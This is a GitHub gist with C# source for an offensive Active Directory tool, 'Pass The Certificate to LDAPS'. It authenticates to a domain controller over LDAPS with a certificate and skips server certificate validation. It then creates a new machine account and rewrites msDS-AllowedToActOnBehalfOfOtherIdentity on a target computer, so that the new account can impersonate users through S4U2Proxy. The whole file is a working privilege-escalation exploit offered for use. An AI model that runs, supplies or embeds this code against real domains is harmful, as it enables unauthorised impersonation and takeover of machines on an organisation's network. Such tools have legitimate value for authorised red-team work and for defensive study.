Skip to content

Instantly share code, notes, and snippets.

@wh0amitz
Last active August 19, 2023 05:03
Show Gist options
  • Save wh0amitz/8d619ee2004d323bf9d4ec3c66751a4e to your computer and use it in GitHub Desktop.
Save wh0amitz/8d619ee2004d323bf9d4ec3c66751a4e to your computer and use it in GitHub Desktop.
Pass The Certificate to LDAPS when PKINIT Padata is "NOSUPP"
using System;
using System.Net;
using System.Text;
using System.DirectoryServices;
using System.Text.RegularExpressions;
using System.Security.Principal;
using System.Security.AccessControl;
using System.DirectoryServices.Protocols;
using System.Security.Cryptography.X509Certificates;
namespace PassTheCertificate
{
internal class AllowedToAct
{
public LdapConnection connection;
public string Domain;
public string Server;
public int PortNumber;
public string CertPath;
public string CertPassword;
public string MachineAccount;
public string MachinePassword;
public string TargetMachineDN;
public string RootDN;
public AllowedToAct(string Domain, string Server, int PortNumber, string CertPath, string CertPassword, string MachineAccount, string MachinePassword, string TargetMachineDN)
{
if (String.IsNullOrEmpty(Domain))
{
System.DirectoryServices.ActiveDirectory.Domain domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain();
this.Domain = domain.Name.ToLower();
this.Server = domain.PdcRoleOwner.Name;
}
else
{
this.Domain = Domain;
this.Server = Server;
}
Console.WriteLine($"[*] Get the domain name: {this.Domain}.");
Console.WriteLine($"[*] Get the domain controller: {this.Server}.");
foreach (string DC in this.Domain.Split('.'))
{
this.RootDN += ",DC=" + DC;
}
this.RootDN = this.RootDN.TrimStart(',');
this.PortNumber = PortNumber;
this.CertPath = CertPath;
this.CertPassword = CertPassword;
this.MachineAccount = MachineAccount;
this.MachinePassword = MachinePassword;
this.TargetMachineDN = TargetMachineDN;
ActiveDirectoryConnection(this.Server, this.PortNumber);
}
public bool VerifyServerCertificateCallback(LdapConnection connection, X509Certificate certificate)
{
return true;
}
public void ActiveDirectoryConnection(string Server, int PortNumber)
{
LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(Server, PortNumber);
LdapConnection connection = new LdapConnection(identifier);
if (!String.IsNullOrEmpty(this.CertPath) && !String.IsNullOrEmpty(this.CertPassword))
{
X509Certificate2 certificate = new X509Certificate2(this.CertPath, this.CertPassword, X509KeyStorageFlags.Exportable);
connection.ClientCertificates.Add(certificate);
connection.SessionOptions.VerifyServerCertificate = VerifyServerCertificateCallback;
connection.SessionOptions.SecureSocketLayer = true;
}
if (connection != null)
{
this.connection = connection;
Console.WriteLine("[*] Established connection to Active Directory.");
// # 1.3.6.1.4.1.4203.1.11.3 = OID for LDAP_SERVER_WHO_AM_I_OID (see MS-ADTS 3.1.1.3.4.2 LDAP Extended Operations)
// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/faf0b8c6-8c59-439f-ac62-dc4c078ed715
ExtendedRequest extendedRequest = new ExtendedRequest("1.3.6.1.4.1.4203.1.11.3");
try
{
ExtendedResponse extendedResponse = (ExtendedResponse)this.connection.SendRequest(extendedRequest);
Console.Write("[*] Operating LDAP As : ");
Console.WriteLine(Encoding.UTF8.GetString(extendedResponse.ResponseValue, 0, extendedResponse.ResponseValue.Length));
}
catch (DirectoryOperationException e)
{
Console.WriteLine(e.ToString());
}
}
}
public SearchResultEntryCollection GetSearchResultEntries(string DistinguishedName, string ldapFilter, System.DirectoryServices.Protocols.SearchScope searchScope, string[] attributeList)
{
SearchRequest searchRequest = new SearchRequest(DistinguishedName, ldapFilter, searchScope, attributeList);
// The SecurityDescriptorFlagControl class is used to pass flags to the server to control various security descriptor behaviors.
searchRequest.Controls.Add(new SecurityDescriptorFlagControl(System.DirectoryServices.Protocols.SecurityMasks.Dacl));
SearchResponse searchResponse = (SearchResponse)this.connection.SendRequest(searchRequest);
return searchResponse.Entries;
}
public SecurityIdentifier AddComputer(string DomainName, string DistinguishedName, string MachineAccount, string MachinePassword)
{
SecurityIdentifier securityIdentifier = null;
// Adds an entry to the CN=Computers directory
AddRequest addRequest = new AddRequest(DistinguishedName, new DirectoryAttribute[] {
new DirectoryAttribute("DnsHostName", MachineAccount + "." + DomainName),
new DirectoryAttribute("SamAccountName", MachineAccount + "$"),
new DirectoryAttribute("userAccountControl", "4096"),
new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + MachinePassword + "\"")),
new DirectoryAttribute("objectClass", "Computer"),
new DirectoryAttribute("ServicePrincipalName", "HOST/" + MachineAccount + "." + DomainName, "RestrictedKrbHost/" + MachineAccount + "." + DomainName, "HOST/" + MachineAccount, "RestrictedKrbHost/" + MachineAccount)
});
try
{
this.connection.SendRequest(addRequest);
Console.WriteLine($"[*] Machine account {MachineAccount}$ added.");
}
catch (Exception ex)
{
Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-MachineAccountQuota limit.");
}
// Get SID of the new computer object
SearchResultEntryCollection Entries = GetSearchResultEntries(DistinguishedName, "(&(samAccountType=805306369)(|(name=" + MachineAccount + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
foreach (SearchResultEntry entry in Entries)
{
try
{
securityIdentifier = new SecurityIdentifier(entry.Attributes["objectSid"][0] as byte[], 0);
Console.WriteLine($"[*] Sid of the new machine account: {securityIdentifier.Value}.");
}
catch
{
Console.WriteLine("[-] Can not retrieve the sid.");
}
}
return securityIdentifier;
}
public void Exploit()
{
string NewMachineDN = $"CN={this.MachineAccount},CN=Computers," + this.RootDN;
SecurityIdentifier securityIdentifier = AddComputer(this.Domain, NewMachineDN, this.MachineAccount, this.MachinePassword);
string nTSecurityDescriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + securityIdentifier + ")";
RawSecurityDescriptor rawSecurityIdentifier = new RawSecurityDescriptor(nTSecurityDescriptor);
byte[] DescriptorBuffer = new byte[rawSecurityIdentifier.BinaryLength];
rawSecurityIdentifier.GetBinaryForm(DescriptorBuffer, 0);
ModifyRequest modifyRequest = new ModifyRequest(this.TargetMachineDN, DirectoryAttributeOperation.Replace, "msDS-AllowedToActOnBehalfOfOtherIdentity", DescriptorBuffer);
try
{
ModifyResponse modifyResponse = (ModifyResponse) this.connection.SendRequest(modifyRequest);
Console.WriteLine($"[*] {this.MachineAccount}$ can now impersonate users on {this.TargetMachineDN} via S4U2Proxy.");
}
catch
{
Console.WriteLine("[-] Could not modify attribute msDS-AllowedToActOnBehalfOfOtherIdentity, check that your user has sufficient rights.");
}
}
static void Main(string[] args)
{
string Domain = null;
string Server = null;
int PortNumber = 636;
string CertPath = null;
string CertPassword = null;
string MachineAccount = null;
string MachinePassword = null;
string TargetMachineDN = null;
for (int i = 0; i < args.Length; i++)
{
switch (args[i])
{
case "-Domain":
Domain = args[i + 1];
break;
case "-Server":
Server = args[i + 1];
break;
case "-PortNumber":
PortNumber = Convert.ToInt32(args[i + 1]);
break;
case "-CertPath":
CertPath = args[i + 1];
break;
case "-CertPassword":
CertPassword = args[i + 1];
break;
case "-Target":
TargetMachineDN = args[i + 1].TrimEnd('$');
break;
case "-MachineAccount":
MachineAccount = args[i + 1].TrimEnd('$');
break;
case "-MachinePassword":
MachinePassword = args[i + 1];
break;
}
}
AllowedToAct allowedToAct = new AllowedToAct(Domain, Server, PortNumber, CertPath, CertPassword, MachineAccount, MachinePassword, TargetMachineDN);
allowedToAct.Exploit();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment